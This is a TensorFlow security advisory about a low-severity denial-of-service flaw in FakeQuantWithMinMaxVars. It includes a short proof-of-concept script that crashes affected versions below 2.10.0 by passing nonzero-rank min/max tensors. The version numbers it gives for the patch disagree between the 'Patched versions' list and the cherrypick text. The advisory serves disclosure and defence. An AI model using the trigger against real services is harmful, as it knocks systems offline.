Low
pak-laura published GHSA-9fpg-838v-wpv7 Sep 15, 2022

Package

pip tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions

< 2.10.0

Patched versions

2.7.4, 2.8.3, 2.9.2, 2.10.0

Description

Impact

If FakeQuantWithMinMaxVars is given min or max tensors of a nonzero rank, it results in a CHECK fail that can be used to trigger a denial of service attack.

import tensorflow as tf

num_bits = 8
narrow_range = False
inputs = tf.constant(0, shape=[2,3], dtype=tf.float32)
min = tf.constant(0, shape=[2,3], dtype=tf.float32)
max = tf.constant(0, shape=[2,3], dtype=tf.float32)
tf.raw_ops.FakeQuantWithMinMaxVars(inputs=inputs, min=min, max=max, num_bits=num_bits, narrow_range=narrow_range)

Patches

We have patched the issue in GitHub commit 785d67a78a1d533759fcd2f5e8d6ef778de849e0.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
